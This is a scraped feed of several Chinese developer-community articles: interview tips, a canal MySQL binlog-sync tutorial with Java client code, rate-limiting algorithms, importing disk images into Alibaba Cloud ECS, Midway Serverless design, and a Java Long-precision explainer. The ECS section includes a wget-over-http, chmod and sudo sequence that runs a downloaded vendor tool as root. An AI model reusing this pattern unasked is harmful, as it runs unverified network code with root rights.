    • 我上家公司基本在A~B 之间(建议合理提高,避免部分HR压价)。
    • 薪资并不是我求职的唯一标准,我来贵司求职的主要动机是兴趣,这份工作是我喜欢做的,也相信自己可以胜任,更相信公司会给出一个合理的薪酬。
    • 相比薪酬,我更在意的是收入,所以,我很愿意了解贵司的薪酬架构,可以简单介绍下吗?
    • 我希望薪资可以达到 XX,据我了解,贵司这个岗位薪资范围是A~B ,而结合岗位职责及任职要求,我对自己也进行了相应评估,也愿意接受贵司的下一步考核。
    4. 未来 5 年的职业规划
    • 自我认知。对自己是否了解,了解是不是靠谱。
    • 动机和价值观。你是否能接受我们并不一定能给你公平的职业发展机会这个现实?
    • 组织承诺。你到底能在我们这踏实的干几年?
    5. 为什么你觉得这个岗位适合自己?(为什么要聘用你)
    • 描述应聘岗位的胜任条件,强调自己的工作能力和工作经验跟岗位的匹配度,岗位要求的工作技能是否自己掌握了,掌握的程度是怎样的,最好在面试中说出来。因此,在面试前最好是要针对应聘岗位,把自己胜任的条件一一列出来,做到知己知彼。可以谈论一下自己之前的工作情况,用成绩、用数据来说明自己的成就。
    • 描述自己能为公司做出什么贡献,公司是一个讲究利益的地方,聘用你肯定要你为公司做出贡献。那么你在回答这个问题时,就需要说出你的加入可以为公司带来什么,这非常重要。因此,一定要明确你的工作目标和职业规划,表明你的立场和专业程度,让HR信任你。
    • 描述出自身的优势。公司为何要聘用你,而不聘用别人,肯定是你有比别人优秀的地方。那么在回答这个问题时,就一定要说出自己与众不同的地方,最好是要举一个例子,来支持你的观点。
    • 建立个人和公司的联系,HR想要得到一个怎样的答案呢?无非就是想通过这个问题,来进一步了解你各方面的信息,以及看看你为这次面试做了多少功课。那么在面试前,你最好是要尽可能获取有关公司可行业的资料信息。在回答的时候,结合自己所做的功课,建立个人和公司的联系,说明自己在哪一方面能够匹配公司的要求。HR看到你对应聘岗位这么了解,肯定会对你有好感。
    • 说出你对这份工作的兴趣以及热情。
    6. 对我们公司有多少了解?
    • 如果不了解,就按实际情况回答就好,知道多少就说多少,(很多时候去面试对这个公司的了解都是从网上查到的,不会太深入);
    • 但最好是提前做好一些调研和准备工作;
    7. 为什么愿意到我们公司?
    • 有所准备,了解公司基本情况
    • 个人目标与公司目标一致
    • 强调你能如何为公司创造价值
    8.与领导/团队同事意见不一致时,该如何处理?
    • 不要假设“我已经完全的掌握了对这件事的认知”。向领导询问确认自己有可能缺失的信息。要寻找对领导没有告知的信息,和领导不能透露的信息。
    • 不要假设领导已经完全的掌握了我对这件事的认知。检查一下,是否已经将事情的前因后果,自己对事情的理解,明确清晰的传达给了领导,以及,他是否真的已经明确了解。
    • 在进行有效的认知沟通后,重新思考整件事情。如果意见还是有不一致,那么:

      • 按领导要求执行。不理解,也执行,在执行中理解。
      • 执行过程中,收集反馈,不断调整,提升认知。
      • 执行完成后,及时复盘,回顾决策和行动过程,沉淀知识。
    9. 缺乏工作经验,如何胜任这份工作?
    • 承认工作经验的重要性。这样能带给面试官的印象是:该位候选人认知能力较强,具有理性思维与客观公正的处事态度及判断能力,尤其是对于自己也能客观公正地看待,勇于承认自己的缺失。
    • 突显个人优势。用自己的其他优势特长来补足经验上的不足,比如说记忆力好、动手能力强、语言能力强、学习能力强等。
    • 强调自己会不断提高工作能力。切忌用假大空的话,要用具体的与工作相关的事例或是数据来说明自己的学习力。
    10. 工作/会议中与同事发生争执,如何处理?
    • 在沟通之前,做好充分的准备
    • 学会认真倾听,让别人把话说完
    • 发现有情绪化苗头时,及时停止会议
    • 借用一些工具,来解决交流障碍
    • 学会非暴力沟通的方式

    反问面试官

    1.职责
    • 团队中初级和高级人员如何平衡
    • 针对员工有哪些培训和提升计划
    2.技术
    • 公司内部的技术栈
    • 产品的架构
    • 版本控制及迭代速度
    • 服务器管理权限,本地计算机管理权限
    3.团队
    • 团队内和团队之间如何沟通
    • 遇到了分歧如何解决
    • 团队正在经历的尚未解决的挑战是什么
    • 绩效考核是如何算的
    4. 公司
    • 晋升机会
    • 是否有自己的学习资源
    • 假期,加班工资等
    • 过去半年最糟糕的一天是怎么样的
    • 是什么让你来到并留在这里
    • 是否能够平衡工作与生活

    以上,本文是测试面试题集锦系列的完结篇。后续我们还将分享更多大厂面试真题,欢迎大家关注

    免费领取:接口测试+性能测试+自动化测试+测试开发+测试用例+简历模板+测试文档

    ]]>
    超详细的canal入门,看这篇就够了-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 思维导图

    在这里插入图片描述

    本文章已收录到个人博客网站(我爱B站):me.lovebilibili.com

    前言

    我们都知道一个系统最重要的是数据,数据是保存在数据库里。但是很多时候不单止要保存在数据库中,还要同步保存到Elastic Search、HBase、Redis等等。

    这时我注意到阿里开源的框架Canal,他可以很方便地同步数据库的增量数据到其他的存储应用。所以在这里总结一下,分享给各位读者参考~

    一、什么是canal

    我们先看官网的介绍

    canal,译意为水道/管道/沟渠,主要用途是基于 MySQL 数据库增量日志解析,提供增量数据订阅和消费

    这句介绍有几个关键字:增量日志,增量数据订阅和消费

    这里我们可以简单地把canal理解为一个用来同步增量数据的一个工具

    接下来我们看一张官网提供的示意图:

    canal的工作原理就是把自己伪装成MySQL slave,模拟MySQL slave的交互协议向MySQL Mater发送 dump协议,MySQL mater收到canal发送过来的dump请求,开始推送binary log给canal,然后canal解析binary log,再发送到存储目的地,比如MySQL,Kafka,Elastic Search等等。

    二、canal能做什么

    以下参考canal官网

    与其问canal能做什么,不如说数据同步有什么作用。

    但是canal的数据同步不是全量的,而是增量。基于binary log增量订阅和消费,canal可以做:

    • 数据库镜像
    • 数据库实时备份
    • 索引构建和实时维护
    • 业务cache(缓存)刷新
    • 带业务逻辑的增量数据处理

    三、如何搭建canal

    3.1 首先有一个MySQL服务器

    当前的 canal 支持源端 MySQL 版本包括 5.1.x , 5.5.x , 5.6.x , 5.7.x , 8.0.x

    我的Linux服务器安装的MySQL服务器是5.7版本。

    MySQL的安装这里就不演示了,比较简单,网上也有很多教程。

    然后在MySQL中需要创建一个用户,并授权:

    -- 使用命令登录:mysql -u root -p
    -- 创建用户 用户名:canal 密码:Canal@123456
    create user 'canal'@'%' identified by 'Canal@123456';
    -- 授权 *.*表示所有库
    grant SELECT, REPLICATION SLAVE, REPLICATION CLIENT on *.* to 'canal'@'%' identified by 'Canal@123456';

    下一步在MySQL配置文件my.cnf设置如下信息:

    [mysqld]
    # 打开binlog
    log-bin=mysql-bin
    # 选择ROW(行)模式
    binlog-format=ROW
    # 配置MySQL replaction需要定义,不要和canal的slaveId重复
    server_id=1

    改了配置文件之后,重启MySQL,使用命令查看是否打开binlog模式:

    在这里插入图片描述

    查看binlog日志文件列表:

    在这里插入图片描述

    查看当前正在写入的binlog文件:

    在这里插入图片描述

    MySQL服务器这边就搞定了,很简单。

    3.2 安装canal

    去官网下载页面进行下载:https://github.com/alibaba/canal/releases

    我这里下载的是1.1.4的版本:

    在这里插入图片描述

    解压canal.deployer-1.1.4.tar.gz,我们可以看到里面有四个文件夹:

    接着打开配置文件conf/example/instance.properties,配置信息如下:

    ## mysql serverId , v1.0.26+ will autoGen
    ## v1.0.26版本后会自动生成slaveId,所以可以不用配置
    # canal.instance.mysql.slaveId=0
    
    # 数据库地址
    canal.instance.master.address=127.0.0.1:3306
    # binlog日志名称
    canal.instance.master.journal.name=mysql-bin.000001
    # mysql主库链接时起始的binlog偏移量
    canal.instance.master.position=154
    # mysql主库链接时起始的binlog的时间戳
    canal.instance.master.timestamp=
    canal.instance.master.gtid=
    
    # username/password
    # 在MySQL服务器授权的账号密码
    canal.instance.dbUsername=canal
    canal.instance.dbPassword=Canal@123456
    # 字符集
    canal.instance.connectionCharset = UTF-8
    # enable druid Decrypt database password
    canal.instance.enableDruid=false
    
    # table regex .*\..*表示监听所有表 也可以写具体的表名,用,隔开
    canal.instance.filter.regex=.*\..*
    # mysql 数据解析表的黑名单,多个表用,隔开
    canal.instance.filter.black.regex=

    我这里用的是win10系统,所以在bin目录下找到startup.bat启动:

    启动就报错,坑呀:

    要修改一下启动的脚本startup.bat:

    在这里插入图片描述

    然后再启动脚本:

    在这里插入图片描述

    这就启动成功了。

    Java客户端操作

    首先引入maven依赖:

    <dependency>
        <groupId>com.alibaba.otter</groupId>
        <artifactId>canal.client</artifactId>
        <version>1.1.4</version>
    </dependency>

    然后创建一个canal项目,使用SpringBoot构建,如图所示:

    在这里插入图片描述

    在CannalClient类使用Spring Bean的生命周期函数afterPropertiesSet():

    @Component
    public class CannalClient implements InitializingBean {
    
        private final static int BATCH_SIZE = 1000;
    
        @Override
        public void afterPropertiesSet() throws Exception {
            // 创建链接
            CanalConnector connector = CanalConnectors.newSingleConnector(new InetSocketAddress("127.0.0.1", 11111), "example", "", "");
            try {
                //打开连接
                connector.connect();
                //订阅数据库表,全部表
                connector.subscribe(".*\..*");
                //回滚到未进行ack的地方,下次fetch的时候,可以从最后一个没有ack的地方开始拿
                connector.rollback();
                while (true) {
                    // 获取指定数量的数据
                    Message message = connector.getWithoutAck(BATCH_SIZE);
                    //获取批量ID
                    long batchId = message.getId();
                    //获取批量的数量
                    int size = message.getEntries().size();
                    //如果没有数据
                    if (batchId == -1 || size == 0) {
                        try {
                            //线程休眠2秒
                            Thread.sleep(2000);
                        } catch (InterruptedException e) {
                            e.printStackTrace();
                        }
                    } else {
                        //如果有数据,处理数据
                        printEntry(message.getEntries());
                    }
                    //进行 batch id 的确认。确认之后,小于等于此 batchId 的 Message 都会被确认。
                    connector.ack(batchId);
                }
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                connector.disconnect();
            }
        }
    
        /**
         * 打印canal server解析binlog获得的实体类信息
         */
        private static void printEntry(List<Entry> entrys) {
            for (Entry entry : entrys) {
                if (entry.getEntryType() == EntryType.TRANSACTIONBEGIN || entry.getEntryType() == EntryType.TRANSACTIONEND) {
                    //开启/关闭事务的实体类型,跳过
                    continue;
                }
                //RowChange对象,包含了一行数据变化的所有特征
                //比如isDdl 是否是ddl变更操作 sql 具体的ddl sql beforeColumns afterColumns 变更前后的数据字段等等
                RowChange rowChage;
                try {
                    rowChage = RowChange.parseFrom(entry.getStoreValue());
                } catch (Exception e) {
                    throw new RuntimeException("ERROR ## parser of eromanga-event has an error , data:" + entry.toString(), e);
                }
                //获取操作类型:insert/update/delete类型
                EventType eventType = rowChage.getEventType();
                //打印Header信息
                System.out.println(String.format("================》; binlog[%s:%s] , name[%s,%s] , eventType : %s",
                        entry.getHeader().getLogfileName(), entry.getHeader().getLogfileOffset(),
                        entry.getHeader().getSchemaName(), entry.getHeader().getTableName(),
                        eventType));
                //判断是否是DDL语句
                if (rowChage.getIsDdl()) {
                    System.out.println("================》;isDdl: true,sql:" + rowChage.getSql());
                }
                //获取RowChange对象里的每一行数据,打印出来
                for (RowData rowData : rowChage.getRowDatasList()) {
                    //如果是删除语句
                    if (eventType == EventType.DELETE) {
                        printColumn(rowData.getBeforeColumnsList());
                        //如果是新增语句
                    } else if (eventType == EventType.INSERT) {
                        printColumn(rowData.getAfterColumnsList());
                        //如果是更新的语句
                    } else {
                        //变更前的数据
                        System.out.println("------->; before");
                        printColumn(rowData.getBeforeColumnsList());
                        //变更后的数据
                        System.out.println("------->; after");
                        printColumn(rowData.getAfterColumnsList());
                    }
                }
            }
        }
    
        private static void printColumn(List<Column> columns) {
            for (Column column : columns) {
                System.out.println(column.getName() + " : " + column.getValue() + "    update=" + column.getUpdated());
            }
        }
    }

    以上就完成了Java客户端的代码。这里不做具体的处理,仅仅是打印,先有个直观的感受。

    最后我们开始测试,首先启动MySQL、Canal Server,还有刚刚写的Spring Boot项目。然后创建表:

    CREATE TABLE `tb_commodity_info` (
      `id` varchar(32) NOT NULL,
      `commodity_name` varchar(512) DEFAULT NULL COMMENT '商品名称',
      `commodity_price` varchar(36) DEFAULT '0' COMMENT '商品价格',
      `number` int(10) DEFAULT '0' COMMENT '商品数量',
      `description` varchar(2048) DEFAULT '' COMMENT '商品描述',
      PRIMARY KEY (`id`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='商品信息表';

    然后我们在控制台就可以看到如下信息:

    如果新增一条数据到表中:

    INSERT INTO tb_commodity_info VALUES('3e71a81fd80711eaaed600163e046cc3','叉烧包','3.99',3,'又大又香的叉烧包,老人小孩都喜欢');

    控制台可以看到如下信息:

    在这里插入图片描述

    总结

    canal的好处在于对业务代码没有侵入,因为是基于监听binlog日志去进行同步数据的。实时性也能做到准实时,其实是很多企业一种比较常见的数据同步的方案。

    通过上面的学习之后,我们应该都明白canal是什么,它的原理,还有用法。实际上这仅仅只是入门,因为实际项目中我们不是这样玩的...

    实际项目我们是配置MQ模式,配合RocketMQ或者Kafka,canal会把数据发送到MQ的topic中,然后通过消息队列的消费者进行处理

    Canal的部署也是支持集群的,需要配合ZooKeeper进行集群管理。

    Canal还有一个简单的Web管理界面。

    下一篇就讲一下集群部署Canal,配合使用Kafka,同步数据到Redis

    参考资料:Canal官网

    絮叨

    上面所有例子的代码都上传Github了:

    https://github.com/yehongzhi/mall

    如果你觉得这篇文章对你有用,点个赞吧~

    你的点赞是我创作的最大动力~

    想第一时间看到我更新的文章,可以微信搜索公众号「java技术爱好者」,拒绝做一条咸鱼,我是一个努力让大家记住的程序员。我们下期再见!!!

    在这里插入图片描述

    能力有限,如果有什么错误或者不当之处,请大家批评指正,一起学习交流!

    ]]>
    高并发系统三大利器之限流-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 什么是限流?

    限流可以认为服务降级的一种,限流就是限制系统的输入和输出流量已达到保护系统的目的。一般来说系统的吞吐量是可以被测算的,为了保证系统的稳定运行,一旦达到的需要限制的阈值,就需要限制流量并采取一些措施以完成限制流量的目的。比如:延迟处理,拒绝处理,或者部分拒绝处理等等。

    坐地铁上班的同学对于这张图片是不是都不会陌生。
    在这里插入图片描述
    基本上在上下班的早晚高峰我们就会发现进站的闸机会有一部分是关闭的。为什么地铁站会关闭一部分闸机呢?这就是为了限流。毕竟地铁站就那么大,可容纳的人数也就那么多。如果大家一股脑全部挤进地铁站是不是又会发生踩踏事件什么的。这是生活中的限流。还有我们去景区玩,景区的门票是不是也是固定的,每天就卖那么多张,卖完即止。限流是不是和我们的生活也息息相关。

    为什么要限流?

    开篇也有说到限流是为了保证系统的稳定运行。假设我们一个系统一小时之最多只能处理10000个请求,但是一小时流量突增10倍,这突增的流量我们如果不进行限制的话,任由它直接进入系统的话,是不是直接会把我们的系统弄瘫痪,就无法对外提供服务了。本人就曾经被这个所坑过,有一次把爬虫开关拦截的开关给关掉了,突然有一大波的爬虫流量进入系统中,我们也没有把这些爬虫请求进行拦截,然后一股脑的全部给转发到下游系统里面去了。下游系统直接就找上门来了,造成他们的服务发生大量的超时。比如地铁早高峰的时候我们如果不对地铁站进行限流的话,大家是不是都会往地铁站挤,然后再往地铁里面挤,挤不上都还要挤。会导致地铁门都关不上,然后地铁就开不走,会导致越来越多的人堵在地铁站。然后最后就会导致整条地铁线都阻塞了。上班就妥妥的迟到了(对于程序员说大多数应该是弹性制的所以也不存在迟到这一说法)。

    限流操作有哪些?

    拒绝服务

    这个是最最简单粗暴的做法了,直接把请求直接拒绝掉。
    比如早高峰坐地铁的时候,直接让进入1000个人,剩下多出来的人不让坐地铁了。直接把入站口给关闭了。

    服务降级

    将系统的所有功能服务进行一个分级,当系统出现问题,需要紧急限流时,可将不是那么重要的功能进行降级处理,停止服务,这样可以释放出更多的资源供给核心功能的去用。
    假设有一个功能新用户注册完,要给用户发送多少优惠券。这时候服务降级的话就可以直接把送券服务关掉,让服务快速响应,提高系统处理能力。
    应用到早高峰坐地铁的时候比如在人民广场这个大站点,处理不过来了那么多人换乘,我们是不是可以直接地铁一号线在人民广场不停,直接到下一站在停,这时候经过人民广场换乘的人就少了。

    延迟处理

    把请求全部放入到队列中,真正处理的话,就从队列里面依次去取,这样的话流量比较大的情况可能会导致处理不及时,会有一定的延时。双十一零点我们付款的时候,去查询订单的状态是不是也会有一定的延时,不像在平时付完款订单状态就变成了付款状态。

    特权处理

    这个模式需要将用户进行分类,通过预设的分类,让系统优先处理需要高保障的用户群体,其它用户群的请求就会延迟处理或者直接不处理。我们去银行办理业务的时候是不是也会经常需要排队,但是是不是经常会VIP用户、什么白金卡用户,直接不需要排队,直接一上来就可以办理业务,还优先处理这些人的业务。是不是特羡慕这些人,哎 羡慕也没办法谁叫人家有钱咧。

    限流的实现方式?

    计数器方法

    这是最简单的限流算法了,系统里面维护一个计数器,来一个请求就加1,请求处理完成就减1,当计数器大于指定的阈值,就拒绝新的请求。是通过全局的总求数于设置的阈值来达到限流的目的。通常应用在池化技术上面比如:数据库连接池、线程池等中应用。这种方式的话限流不是平均速率的。扛不住突增的流量。

    漏桶算法

    在这里插入图片描述
    我们可以看到水是可以持续流入漏桶里面的,底部也是匀速的流出,如果流入的速率大于底部流出的速率,以及漏桶的水超过桶的大小就会发生益出。请求一经过漏桶的过滤,不管你请求有多少,速率有多快,我反正就这么个速度处理。我们平时坐地铁的时候是不是也是这样,不管你乘客有多少,反正就是隔5min发一趟车。那早高峰的时候你5min钟一趟车根本就不够用啊,上班的人太多啊,你需要加快速度处理啊,所以可能早高峰改为3min一趟,动态调整速率。

    令牌桶

    在这里插入图片描述

    看图的话是不是令牌桶和漏桶都差不多,只不过令牌桶新增了一个匀速生产令牌的中间人以恒定的速度往桶里面放令牌,如果令牌的数量超过里桶的限制的话,令牌就会溢出,这时候就直接舍弃多余的令牌。每个请求过来必须拿到桶里面拿到了令牌才允许请求(拿令牌的速度是不限制的,这就意味着如果瞬间有大量的流量请求进来,可以短时间内拿到大量的令牌),拿不到令牌的话直接拒绝。这个令牌桶的思想是不是跟我们java里面的Semaphore 有点类似。Semaphore 是拿信号量,用完了就还回去。但是令牌桶的话,不需要还回去,因为令牌会定时的补充。令牌桶算法我们可以通过Google开源的guava包创建一个令牌桶算法的限流器。

    总结

    • 以上粗略的介绍了几种单机的限流思想,大家可以根据这个思想然后去实现各种各样的限流组件。
    • 我们的限流算法每个里面是不是都一个阈值,这个阈值设置为多少是不是比较难。
      阈值设置过大的话,服务可能扛不住,阈值设置小了会把用户请求给误杀,资源没有得到最大的一个利用。
    • 分布式限流的话,以后有机会再讲。

    结束

    • 由于自己才疏学浅,难免会有纰漏,假如你发现了错误的地方,还望留言给我指出来,我会对其加以修正。
    • 如果你觉得文章还不错,你的转发、分享、赞赏、点赞、留言就是对我最大的鼓励。
    • 感谢您的阅读,十分欢迎并感谢您的关注。
      1590211107925.gif
    ]]>
    如何导入本地镜像到阿里云ECS服务器-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 镜像导入的使用场景
    在操作之前,我们来介绍一下镜像导入的使用场景。
    一种情况是,我们需要把线下环境整体搬到云上,这种情况可能有以下特征。
    1.线下预部署好的服务器
    2.需要在线下进行测试和调试的服务
    3.应用需要在线下激活且允许移动的服务
    4.线下老旧的物理服务器需要上云
    5.另一种情况是,阿里云当前没有可用的操作系统类型供选择。比如说,操作系统类型没有、操作系统版本已经下线、线下定制的操作系统。

    阿里云镜像导入的限制
    不同于本地服务器,阿里云服务器ECS的镜像导入还是有一些限制的。
    image.png

    对于Linux系统,我们在导入镜像之前可以使用阿里云提供的镜像规范检测工具,检测各项配置指标是否合规。
    检测命令如下:
    wget http://docs-aliyun.cn-hangzhou.OSS.aliyun-inc.com/assets/attach/73848/cn_zh/1557459863884/image_check

    chmod +x image_check

    sudo <检测工具所在路径>/image_check –p [目标路径]

    sudo ./image_check
    参考资料:阿里云帮助中心-镜像规范检测工具

    导入镜像步骤
    首先打开OSS的控制台选择一个bucket,选择上传文件,上传已经本地已经做好的镜像,支持RAW和VHD格式。
    image.png

    这里我们已经上传了一个镜像,点击获取地址。
    image.png

    在弹窗中点击获取并复制生成的地址。
    image.png

    注意镜像文件上传的OSS区域,要和ECS同区域。接下来,我们进入ECS服务器控制台,进入镜像栏目,然后点击导入镜像。
    image.png

    这里要注意,要先确认ecs官方服务账号可以访问对应的OSS权限。
    image.png

    如果没有授权,点击授权即可。
    image.png

    授权后重现回到导入镜像界面。
    镜像所在地:选择和OSS同一地域
    OSS Object地址:填写刚才生成的OSS文件访问地址
    镜像名称:我们这里填demo5
    操作系统:我们选择Linux
    系统盘大小:注意这个大小不是指镜像文件的大小,而是我们创建这个镜像时所占用的磁盘空间大小,我们这里填40
    系统架构:选择对应的架构,我们这里是X86_64
    系统平台:centOS
    镜像格式:可选RAW和VHD,我们这里选择VHD

    填写完成后,点击确认。
    image.png

    这样我们就创建成功了,对应的镜像正在创建中,创建完成后,我们就可以用这个镜像部署服务器环境了。您掌握了吗?
    原文地址

    ]]>
    Midway Serverless 能力介绍与设计分析-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    作者 | 张挺

    这次分享的内容分为两部分, 一块是 Midway Serverless 的能力介绍,第二块是这些能力的设计、思考、沉淀。
    image.png

    Background

    image.png
    当前业界的 Serverless 化方向如火突入,有如阿里正在利用 Serverless 将原有业务迁移,降低成本的,也有正在向这些方向努力前进的,我首先会介绍一下当前 Serverless 的一些背景,前端使用 Serverless 的一些场景和方向。第二块会简单介绍一下 Midway Serverless 的一些基础上手和使用。第三块会介绍 Midway Serverless 在抹平平台差异,架构防腐层的一些设计与心得,最后是对未来的一些期望,方向的思考。

    Midway 从 2014 年开始一直在集团承担 Node.js 应用的基础开发框架,最开始是 express,到后面的 koa,egg 体系等,将集团业务承载至今。最开始的前后端分离,到如今的函数化,都在不断的开拓前端职能,让业务更聚焦,开发更提效。

    之前的 midway v1 版本,我们认为 midway 是一个 Web 全栈框架,提供 Web 服务,增加了依赖注入之后,也适合于大型应用的开发,灵活性和应用的可维护性也得到了验证。

    而到了现在 Midway Serverless 时期,整个 Midway 框架的定位在逐步的变化。
    image.png
    首先,Midway Serverless 是一个 serverless framework,可以在让代码在多云平台部署,在用户选择时可以减少一些顾虑。

    第二是能够方便的让传统的应用迁移上现有的弹性服务,毕竟在集团内,还有非常多的传统应用,不管是在什么场景,这些应用都还需要人维护,需要占用大量的资源,如果能上弹性,对节省成本有非常大的好处。

    第三是让应用本身能够在传统应用和函数之间切换,传统的 midway 是基于装饰器加上依赖注入的特性构建出来的,在函数体系下上,也可以这样做,甚至于通过构建将不同的场景结合到一起,我们希望最后能达到代码不变的情况下,不同场景都可用的状态。

    结构

    image.png
    这是我们经典的目录结构,最简单的,抛开 ts 的一些文件,只需要 f.yml 这个配置以及 index.ts 这个逻辑文件,而复杂一点,也只是增加了目录,增加了不同逻辑的分层,和传统的写法契合。

    这里的 f.yml 就承载了之前的路由层的功能,在 Serverless(FaaS)体系中,路由交给了网关处理,那么我们只需要在项目代码中写对应的原 Controller 的内容即可。
    image.png
    如图所示,f.yml 中每一个服务都会对应一个接口,每个接口都由一个方法承载由 handler字段去映射绑定,而实际运行中,通过依赖注入的方式,框架只根据当前执行的逻辑动态初始化其中方法,所以也不需要担心执行的性能问题。
    image.png
    f.yml 通过标准化适配多云平台,最简单的来说,可以通过定义 http 触发器的 path 和 method 具体的指定接口地址,也可以简化到默认值,自动变为通配路由等等。
    image.png

    工具链和能力

    除了 f.yml 这套标准定义文件,我们还提供了 faas-cli ,一个精简的本地开发工具,帮助函数体系开发的更好。在开发层面,我们只精简的提供了 create,invoke,test,deploy 四个命令,对应了整个研发流程的四个周期,而剩下的部分,则交给了对应平台自身的能力来完成,同时,我们后续也会提供一些后置管理,让 Node.js 开发本身更加的高效。

    从 v1.0 之后,我们也提供了一系列示例,不管是和前端集成的 React/Vue,还是场景化示例,博客,Todo list 等等。
    image.png

    原理解析

    虽然给大家展示了开发的工具链,开发的标准,解释了运行时机制,大家是不是还是很疑惑,依赖注入是如何把 f.yml 中的 handler 字段如何与代码中对应的装饰器连接的,而函数整个原来的参数是如何和云平台对接,做到一套代码跨多平台的?

    为了方便理解,我们拿 Midway v1 里的依赖注入容器来解释。
    image.png
    整个 Midway v1 是基于 EggJS 往上扩展,增加 IoC(依赖注入) 容器的初始化部分,并且将装饰器的能力注册到其中,和整个路由体系结合到一起。

    右边是我们核心的伪代码,在初始化时,容器会做一次扫描,把当前用户的代码都加载到内存中,并分析其中的装饰器组成一个”依赖图“,在每次执行逻辑的时候,从其中拿到对应的实例(get),并将其依赖,子依赖统一初始化。
    image.png
    路由部分也是这种逻辑的其中一层,在调用路由时,获取到对应的 Controller key,找到对应的方法,整个 Midway v1 都是如此运行起来的。

    在之后的迭代过程中,我们发现这样和单一框架依赖会比较深,很难去灵活的调整功能,并且在 Web 场景的能力,很难去适配到其他场景,这就给逻辑的复用和扩展造成了不少困难。

    我们希望不同的场景的代码,能够在一定程度上能够复用,比如常见的 router/orm/graphql 等等,都是可以横跨不同的场景去复用的,甚至于用户的服务层代码本身也是可以去多处复用的。另外一块,我们希望传统全栈到 Serverless 的过程是有延续性的,不希望代码的写法有比较大的区别,既能在不同的平台通用,又能在不同的技术栈大部分通用。

    这也迫使我们的去思考不同的代码设计,找到最佳的路径。

    Design

    image.png
    我们从最原始的函数写法给大家讲起。

    架构防腐

    整个原始的入口函数,社区的写法都非常简单,是一个传统的方法,其参数在不同平台根据不同触发器略有不同。
    image.png
    在执行时,通过网关调度到其内部的运行时,然后拼装参数执行到用户的入口函数中。

    为了和之前的框架结合,以及屏蔽不同平台之间的差异,我们在社区的运行时执行之后,用户入口函数之前,做了一层架构抽象,即我们所谓的”防腐层“。这层一共包括两个功能,一是运行时防腐的部分,屏蔽出入参数差异,屏蔽异步差异,错误处理等等。第二部分是 API 传承,将传统的 Midway v1 的容器初始化,根据 yml 里的信息实例化对应的函数方法。
    image.png
    这样说有一点抽象,我们找一段实际的代码来理解一下。

    下面是实际生成的代码入口 index.js 的示例。
    image.png
    初始化的时候,我们会做两个事情,一个就是每个平台的适配器,会自动根据 f.yml 中配置的 provider.name 来生成,我们会自动提供支持的平台启动器(现在已经有阿里云,腾讯云,以及即将完成的 aws)。

    另外一个就是 Midway Serverless 框架的入口(FaaSStarter),通过它,来调用到实际的用户代码(src/index.ts)。其余的 asyncWrapper 和 asyncEvent 则是用于对异步函数的包裹,让代码可以统一用上 async 关键字。
    image.png
    看到这里,大家是否好奇我们的运行时适配器(防腐层)内部是如何运作的?这就来稍微详细一点的讲讲。
    image.png
    整个运行时处在最中间的部分,往上承接事件带来的数据,接收,中转,往下调用到业务代码,把中转的参数传入,在整个容器中占了非常重要的部分 。一般来说,整个运行时包括几个部分,一是语言的 VM,基建的 SDK 等等,比如 Node.js 10/12,日志采集模块等等,二是运维的脚本,用来控制启停,健康检查等等,第三块就是运行时实际代码,简单的实现的话,可以理解起了个 http 服务,并在其中加载业务函数的代码。
    image.png

    生命周期

    传统的社区平台都会默认埋入自己的运行时,而我们的运行时则是在这些平台内置的运行时之上的封装,并且将运行时和业务代码通过自定义生命周期进行关联,将整个代码 run 起来。
    image.png
    整个生命周期分为几部分阶段,外围运行时包括 RuntimeStart、FunctionStart、Invoke、Close 等阶段,而在这些周期中,还提供了 before 和 after 的钩子,方便对这些阶段进行扩展。

    我们来一下实际的运行时扩展的例子,看看我们是如何抹平不同的云平台的。
    image.png
    这是一个阿里云运行时适配器的例子,我们接着上面的业务代码调用的路径来观察,asyncEvent 用来包裹真实的入参,在接受到参数之后,我们做了一些不同触发器的类型判断,将其分为了 Web 和非 Web 两种类型。
    image.png
    在 Web 的处理方法中,进一步细化内容,比如判断是否是网关的类型,构造出一个类似 koa ctx 的结构,处理 body 参数等。
    image.png
    做完这些事情之后,就开始把规则化好的参数传递给用户的真正的逻辑了,这个时候,由于生命周期的存在,开始执行才看到的 invoke 过程,并在内部调用 before 和 after 过程。

    除此之外,我们还提供了一个默认执行拦截的能力,这个能力在传统应用迁移的时候起了巨大的作用。

    应用迁移

    image.png
    现在,所有的扩展(Layer)都可以复用在所有的运行时适配上,整个函数体系和应用迁移体系基于这套生命周期和扩展机制,将能力复用,结构分层表现的淋漓尽致。
    image.png
    而用户所需要做的,仅仅增加一个 f.yml,写入这 4 行即可。整个 midway 构建器 会生成所有需要的入口和适配代码。

    这套函数和应用统一的方案,如果在企业内部,私有化部署也是非常适合的,阿里集团内部的函数体系也是如此被加载起来,和社区保持了高度的一致,也减少了很多的维护成本。

    小结

    从 midway serverless 的基础到入口的生成,生命周期以及应用迁移的方案介绍,这里涵盖的是 midway serverless 的架构防腐的一小部分,后续也将会有其他文章介绍不同的部分,感谢大家阅读,也欢迎大家关注 Midway。


    image.png
    关注「Alibaba F2E」
    把握阿里巴巴前端新动向

    ]]>
    《Java开发手册》解读:大整数传输为何禁用Long类型?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png
    8月3日,这个在我等码农心中具有一定纪念意义的日子里,《Java开发手册》发布了嵩山版。每次发布我都特别期待,因为总能找到一些程序员不得不重视的“血淋淋的巨坑”。比如这次,嵩山版中新增的模块——前后端规约,其中一条禁止服务端在超大整数下使用Long类型作为返回。

    image.png

    这个问题,我在实际开发中遇到过,所以印象也特别深。如果在业务初期没有评估到这一点,将订单ID这类关键信息,按照Long类型返回给前端,可能会在业务中后期高速发展阶段,突然暴雷,导致严重的业务故障。期望大家能够重视。

    这条规约给出了直接明确的避坑指导,但要充分理解背后的原理,知其所以然,还有很多点要思考。首先,我们来看几个问题,如果能说出所有问题的细节,就可直接跳过了,否则下文还是值得一看的:

    • 一问:JS的Number类型能安全表达的最大整型数值是多少?为什么(注意要求更严,是安全表达)?
    • 二问:在Long取值范围内,2的指数次整数转换为JS的Number类型,不会有精度丢失,但能放心使用么?
    • 三问:我们一般都知道十进制数转二进制浮点数有可能会出现精度丢失,但精度丢失具体怎么发生的?
    • 四问:如果不幸中招,服务端正在使用Long类型作为大整数的返回,有哪些办法解决?

    基础回顾

